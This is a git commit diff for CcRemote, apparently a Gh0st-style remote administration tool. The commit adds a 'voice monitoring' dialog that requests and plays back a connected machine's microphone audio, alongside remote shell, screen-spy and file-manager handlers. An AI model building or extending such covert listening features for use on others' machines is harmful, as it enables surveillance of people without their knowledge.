音频管理已经编写,但是背景处理有点问题,以后再解决

This commit is contained in:
changcheng 2020-06-08 20:33:24 +08:00
parent fda76bbbd1
commit d7f2bcec1c
24 changed files with 262 additions and 31 deletions

Binary file not shown.

View File

@ -1,3 +1,3 @@
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。 G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
TestLoadDll.cpp TestLoadDll.cpp
TestLoadDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\TestLoadDll\..\..\bin\server\TestLoadDll.exe TestLoadDll.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\TestLoadDll\..\..\bin\server\TestLoadDll.exe

View File

@ -1,2 +1,2 @@
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0 #TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
Debug|Win32|F:\myapp\CcRemote\CcMainDll\| Debug|Win32|G:\CcRemote\CcRemote\CcMainDll\|

Binary file not shown.

View File

@ -0,0 +1,123 @@
// CAudioDlg.cpp: 实现文件
//
#include "pch.h"
#include "CcRemote.h"
#include "CAudioDlg.h"
#include "afxdialogex.h"
#include "..\..\common\macros.h"
// CAudioDlg 对话框
IMPLEMENT_DYNAMIC(CAudioDlg, CDialog)
CAudioDlg::CAudioDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
: CDialog(IDD_AUDIO, pParent)
{
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_AUDIO)); //处理图标
m_iocpServer = pIOCPServer; //为类的成员变量赋值
m_pContext = pContext;
m_bIsWorking = true;
m_nTotalRecvBytes = 0;
sockaddr_in sockAddr;
memset(&sockAddr, 0, sizeof(sockAddr)); //得到服务端ip
int nSockAddrLen = sizeof(sockAddr);
BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "";
}
CAudioDlg::~CAudioDlg()
{
}
void CAudioDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
DDX_Check(pDX, IDC_SEND_LOCALAUDIO, m_bIsSendLocalAudio);
}
BEGIN_MESSAGE_MAP(CAudioDlg, CDialog)
ON_WM_CLOSE()
END_MESSAGE_MAP()
// CAudioDlg 消息处理程序
BOOL CAudioDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// TODO: 在此添加额外的初始化
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon
CString str;
str.Format("\\\\%s - 语音监听", m_IPAddress);
SetWindowText(str);
// 通知远程控制端对话框已经打开
BYTE bToken = COMMAND_NEXT;
m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE));
m_hWorkThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL);
return TRUE; // return TRUE unless you set the focus to a control
// 异常: OCX 属性页应返回 FALSE
}
DWORD CAudioDlg::WorkThread(LPVOID lparam)
{
CAudioDlg *pThis = (CAudioDlg *)lparam;
while (pThis->m_bIsWorking)
{
if (!pThis->m_bIsSendLocalAudio)
{
Sleep(1000);
continue;
}
DWORD dwBytes = 0;
LPBYTE lpBuffer = pThis->m_Audio.getRecordBuffer(&dwBytes);
if (lpBuffer != NULL && dwBytes > 0)
pThis->m_iocpServer->Send(pThis->m_pContext, lpBuffer, dwBytes);
}
return 0;
}
void CAudioDlg::OnClose()
{
// TODO: 在此添加消息处理程序代码和/或调用默认值
m_pContext->m_Dialog[0] = 0;
closesocket(m_pContext->m_Socket);
m_bIsWorking = false;
WaitForSingleObject(m_hWorkThread, INFINITE);
CDialog::OnClose();
}
void CAudioDlg::OnReceiveComplete(void)
{
m_nTotalRecvBytes += m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1;
CString str;
str.Format("Receive %d KBytes", m_nTotalRecvBytes / 1024);
SetDlgItemText(IDC_TIPS, str);
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
{
//这里也非常简洁就是将服务端发送来的数据播放出来我们看一下这个类还是CAudio哈哈
//原来播放和录制是同一个类,我们转到这个函数
case TOKEN_AUDIO_DATA:
m_Audio.playBuffer(m_pContext->m_DeCompressionBuffer.GetBuffer(1), m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1);
break;
default:
// 传输发生异常数据
return;
}
}

View File

@ -0,0 +1,42 @@
#pragma once
// CAudioDlg 对话框
#include "include/IOCPServer.h"
#include "..\..\common\Audio.h"
class CAudioDlg : public CDialog
{
DECLARE_DYNAMIC(CAudioDlg)
public:
CAudioDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // 标准构造函数
virtual ~CAudioDlg();
// 对话框数据
#ifdef AFX_DESIGN_TIME
enum { IDD = IDD_AUDIO };
#endif
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
public:
bool m_bIsWorking;
CAudio m_Audio;
private:
UINT m_nTotalRecvBytes;
HICON m_hIcon;
HANDLE m_hWorkThread;
ClientContext* m_pContext;
CIOCPServer* m_iocpServer;
CString m_IPAddress;
public:
virtual BOOL OnInitDialog();
static DWORD WorkThread(LPVOID lparam);
BOOL m_bIsSendLocalAudio;
afx_msg void OnClose();
void OnReceiveComplete(void);
};

Binary file not shown.

View File

@ -202,7 +202,9 @@
</ResourceCompile> </ResourceCompile>
</ItemDefinitionGroup> </ItemDefinitionGroup>
<ItemGroup> <ItemGroup>
<ClInclude Include="..\..\common\Audio.h" />
<ClInclude Include="..\..\common\macros.h" /> <ClInclude Include="..\..\common\macros.h" />
<ClInclude Include="CAudioDlg.h" />
<ClInclude Include="CcRemote.h" /> <ClInclude Include="CcRemote.h" />
<ClInclude Include="CcRemoteDlg.h" /> <ClInclude Include="CcRemoteDlg.h" />
<ClInclude Include="CFileManagerDlg.h" /> <ClInclude Include="CFileManagerDlg.h" />
@ -226,6 +228,10 @@
<ClInclude Include="TrueColorToolBar.h" /> <ClInclude Include="TrueColorToolBar.h" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ClCompile Include="..\..\common\Audio.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\CcMainDll\CcMainDll\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="CAudioDlg.cpp" />
<ClCompile Include="CcRemote.cpp" /> <ClCompile Include="CcRemote.cpp" />
<ClCompile Include="CcRemoteDlg.cpp" /> <ClCompile Include="CcRemoteDlg.cpp" />
<ClCompile Include="CFileManagerDlg.cpp" /> <ClCompile Include="CFileManagerDlg.cpp" />
@ -271,6 +277,7 @@
<None Include="res\dot.cur" /> <None Include="res\dot.cur" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<Image Include="res\audio.ico" />
<Image Include="res\background_picture.bmp" /> <Image Include="res\background_picture.bmp" />
<Image Include="res\Bitmap_4.bmp" /> <Image Include="res\Bitmap_4.bmp" />
<Image Include="res\Bitmap_5.bmp" /> <Image Include="res\Bitmap_5.bmp" />

View File

@ -87,6 +87,12 @@
<ClInclude Include="InputDlg.h"> <ClInclude Include="InputDlg.h">
<Filter>源文件</Filter> <Filter>源文件</Filter>
</ClInclude> </ClInclude>
<ClInclude Include="CAudioDlg.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="..\..\common\Audio.h">
<Filter>头文件</Filter>
</ClInclude>
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ClCompile Include="CcRemote.cpp"> <ClCompile Include="CcRemote.cpp">
@ -137,6 +143,12 @@
<ClCompile Include="InputDlg.cpp"> <ClCompile Include="InputDlg.cpp">
<Filter>源文件</Filter> <Filter>源文件</Filter>
</ClCompile> </ClCompile>
<ClCompile Include="CAudioDlg.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="..\..\common\Audio.cpp">
<Filter>源文件</Filter>
</ClCompile>
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ResourceCompile Include="CcRemote.rc"> <ResourceCompile Include="CcRemote.rc">
@ -194,5 +206,8 @@
<Image Include="res\toolbar2.bmp"> <Image Include="res\toolbar2.bmp">
<Filter>资源文件</Filter> <Filter>资源文件</Filter>
</Image> </Image>
<Image Include="res\audio.ico">
<Filter>资源文件</Filter>
</Image>
</ItemGroup> </ItemGroup>
</Project> </Project>

View File

@ -85,6 +85,8 @@ BEGIN_MESSAGE_MAP(CCcRemoteDlg, CDialogEx)
ON_MESSAGE(WM_OPENPSLISTDIALOG, OnOpenSystemDialog) ON_MESSAGE(WM_OPENPSLISTDIALOG, OnOpenSystemDialog)
ON_MESSAGE(WM_OPENSCREENSPYDIALOG, OnOpenScreenSpyDialog) ON_MESSAGE(WM_OPENSCREENSPYDIALOG, OnOpenScreenSpyDialog)
ON_MESSAGE(WM_OPENMANAGERDIALOG, OnOpenManagerDialog) ON_MESSAGE(WM_OPENMANAGERDIALOG, OnOpenManagerDialog)
ON_MESSAGE(WM_OPENAUDIODIALOG, OnOpenAudioDialog)
//-------------系统------------- //-------------系统-------------
ON_WM_SYSCOMMAND() ON_WM_SYSCOMMAND()
@ -508,14 +510,17 @@ void CCcRemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
void CCcRemoteDlg::OnOnlineAudio() void CCcRemoteDlg::OnOnlineAudio()
{ {
// TODO: 在此添加命令处理程序代码 // TODO: 在此添加命令处理程序代码
MessageBox("声音"); // MessageBox("声音");
BYTE bToken = COMMAND_AUDIO; //向服务端发送命令
SendSelectCommand(&bToken, sizeof(BYTE));
} }
void CCcRemoteDlg::OnOnlineCmd() void CCcRemoteDlg::OnOnlineCmd()
{ {
// TODO: 在此添加命令处理程序代码 // TODO: 在此添加命令处理程序代码
MessageBox("CMD"); // MessageBox("CMD");
BYTE bToken = COMMAND_SHELL; BYTE bToken = COMMAND_SHELL;
SendSelectCommand(&bToken,sizeof(BYTE)); SendSelectCommand(&bToken,sizeof(BYTE));
} }
@ -791,9 +796,9 @@ void CCcRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)
//case WEBCAM_DLG: //case WEBCAM_DLG:
// ((CWebCamDlg *)dlg)->OnReceiveComplete(); // ((CWebCamDlg *)dlg)->OnReceiveComplete();
// break; // break;
//case AUDIO_DLG: case AUDIO_DLG:
// ((CAudioDlg *)dlg)->OnReceiveComplete(); ((CAudioDlg *)dlg)->OnReceiveComplete();
// break; break;
//case KEYBOARD_DLG: //case KEYBOARD_DLG:
// ((CKeyBoardDlg *)dlg)->OnReceiveComplete(); // ((CKeyBoardDlg *)dlg)->OnReceiveComplete();
// break; // break;
@ -844,12 +849,12 @@ void CCcRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)
case TOKEN_WEBCAM_BITMAPINFO: // 摄像头 case TOKEN_WEBCAM_BITMAPINFO: // 摄像头
g_pCcRemoteDlg->PostMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)pContext); g_pCcRemoteDlg->PostMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)pContext);
break; break;
case TOKEN_AUDIO_START: // 语音
g_pCcRemoteDlg->PostMessage(WM_OPENAUDIODIALOG, 0, (LPARAM)pContext);
break;
case TOKEN_KEYBOARD_START: case TOKEN_KEYBOARD_START:
g_pCcRemoteDlg->PostMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)pContext); g_pCcRemoteDlg->PostMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)pContext);
break;*/ break;*/
case TOKEN_AUDIO_START: // 语音
g_pCcRemoteDlg->PostMessage(WM_OPENAUDIODIALOG, 0, (LPARAM)pContext);
break;
case TOKEN_DRIVE_LIST: // 驱动器列表 case TOKEN_DRIVE_LIST: // 驱动器列表
// 指接调用public函数非模态对话框会失去反应 不知道怎么回事,太菜 // 指接调用public函数非模态对话框会失去反应 不知道怎么回事,太菜
g_pCcRemoteDlg->PostMessage(WM_OPENMANAGERDIALOG, 0, (LPARAM)pContext); g_pCcRemoteDlg->PostMessage(WM_OPENMANAGERDIALOG, 0, (LPARAM)pContext);
@ -1063,6 +1068,20 @@ LRESULT CCcRemoteDlg::OnOpenManagerDialog(WPARAM wParam, LPARAM lParam)
return 0; return 0;
} }
//音频管理窗口
LRESULT CCcRemoteDlg::OnOpenAudioDialog(WPARAM wParam, LPARAM lParam)
{
ClientContext *pContext = (ClientContext *)lParam;
CAudioDlg *dlg = new CAudioDlg(this, m_iocpServer, pContext);
// 设置父窗口为卓面
dlg->Create(IDD_AUDIO, GetDesktopWindow());
dlg->ShowWindow(SW_SHOW);
pContext->m_Dialog[0] = AUDIO_DLG;
pContext->m_Dialog[1] = (int)dlg;
return 0;
}
//绘制背景图片 //绘制背景图片
BOOL CCcRemoteDlg::OnEraseBkgnd(CDC* pDC) BOOL CCcRemoteDlg::OnEraseBkgnd(CDC* pDC)
{ {

View File

@ -9,6 +9,7 @@
#include "CSystemDlg.h" #include "CSystemDlg.h"
#include "CScreenSpyDlg.h" #include "CScreenSpyDlg.h"
#include "CFileManagerDlg.h" #include "CFileManagerDlg.h"
#include "CAudioDlg.h"
#pragma once #pragma once
@ -48,7 +49,7 @@ public:
private: private:
//--------------变量及常量---------------- //--------------变量及常量----------------
SEU_QQwry *m_QQwry; SEU_QQwry *m_QQwry; //识别IP区域
int m_OnlineCount;//上线计数 int m_OnlineCount;//上线计数
CBrush m_brush;//绘色函数 CBrush m_brush;//绘色函数
CMenu popup;//LIST菜单变量 CMenu popup;//LIST菜单变量
@ -103,6 +104,7 @@ public:
afx_msg LRESULT OnOpenSystemDialog(WPARAM, LPARAM); afx_msg LRESULT OnOpenSystemDialog(WPARAM, LPARAM);
afx_msg LRESULT OnOpenScreenSpyDialog(WPARAM, LPARAM); afx_msg LRESULT OnOpenScreenSpyDialog(WPARAM, LPARAM);
afx_msg LRESULT OnOpenManagerDialog(WPARAM, LPARAM); afx_msg LRESULT OnOpenManagerDialog(WPARAM, LPARAM);
afx_msg LRESULT OnOpenAudioDialog(WPARAM, LPARAM);
//-------------系统消息处理------------- //-------------系统消息处理-------------
afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult); afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult);

View File

@ -1,16 +1,35 @@
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.pch g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.pch
f:\myapp\ccremote\ccremote\ccremote\debug\vc141.pdb g:\ccremote\ccremote\ccremote\ccremote\debug\vc141.pdb
f:\myapp\ccremote\ccremote\ccremote\debug\vc141.idb g:\ccremote\ccremote\ccremote\ccremote\debug\vc141.idb
f:\myapp\ccremote\ccremote\ccremote\debug\pch.obj g:\ccremote\ccremote\ccremote\ccremote\debug\pch.obj
f:\myapp\ccremote\ccremote\ccremote\debug\truecolortoolbar.obj g:\ccremote\ccremote\ccremote\ccremote\debug\audio.obj
f:\myapp\ccremote\ccremote\ccremote\debug\seu_qqwry.obj g:\ccremote\ccremote\ccremote\ccremote\debug\truecolortoolbar.obj
f:\myapp\ccremote\ccremote\ccremote\debug\inifile.obj g:\ccremote\ccremote\ccremote\ccremote\debug\seu_qqwry.obj
f:\myapp\ccremote\ccremote\ccremote\debug\cpuusage.obj g:\ccremote\ccremote\ccremote\ccremote\debug\inputdlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\csystemdlg.obj g:\ccremote\ccremote\ccremote\ccremote\debug\inifile.obj
f:\myapp\ccremote\ccremote\ccremote\debug\cshelldlg.obj g:\ccremote\ccremote\ccremote\ccremote\debug\cpuusage.obj
f:\myapp\ccremote\ccremote\ccremote\debug\csettingdlg.obj g:\ccremote\ccremote\ccremote\ccremote\debug\csystemdlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\cscreenspydlg.obj g:\ccremote\ccremote\ccremote\ccremote\debug\cshelldlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\filetransfermodedlg.obj g:\ccremote\ccremote\ccremote\ccremote\debug\csettingdlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.command.1.tlog g:\ccremote\ccremote\ccremote\ccremote\debug\cscreenspydlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.read.1.tlog g:\ccremote\ccremote\ccremote\ccremote\debug\filetransfermodedlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.write.1.tlog g:\ccremote\ccremote\ccremote\ccremote\debug\cfilemanagerdlg.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremotedlg.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\caudiodlg.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\iocpserver.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\buffer.obj
g:\ccremote\ccremote\bin\ccremote.ilk
g:\ccremote\ccremote\bin\ccremote.exe
g:\ccremote\ccremote\bin\ccremote.pdb
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.res
g:\ccremote\ccremote\ccremote\ccremote\..\..\bin\ccremote.exe
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.command.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.read.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.write.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.command.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.read.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.write.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.command.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.read.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.write.1.tlog

View File

@ -1,2 +1,5 @@
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。 G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
CcRemote.vcxproj -> F:\myapp\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe CAudioDlg.cpp
g:\ccremote\ccremote\ccremote\ccremote\caudiodlg.cpp(29): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
CcRemote.vcxproj -> G:\CcRemote\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe

Binary file not shown.

View File

@ -1,2 +1,2 @@
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0 #TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
Debug|Win32|F:\myapp\CcRemote\CcRemote\| Debug|Win32|G:\CcRemote\CcRemote\CcRemote\|

BIN
CcRemote/CcRemote/RCa16756 Normal file

Binary file not shown.

BIN
CcRemote/CcRemote/RDa16756 Normal file

Binary file not shown.

View File

@ -17,6 +17,7 @@
#include <afxwin.h> #include <afxwin.h>
#include <afxwin.h> #include <afxwin.h>
#include <afxwin.h> #include <afxwin.h>
#include <afxwin.h>
#endif //PCH_H #endif //PCH_H

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.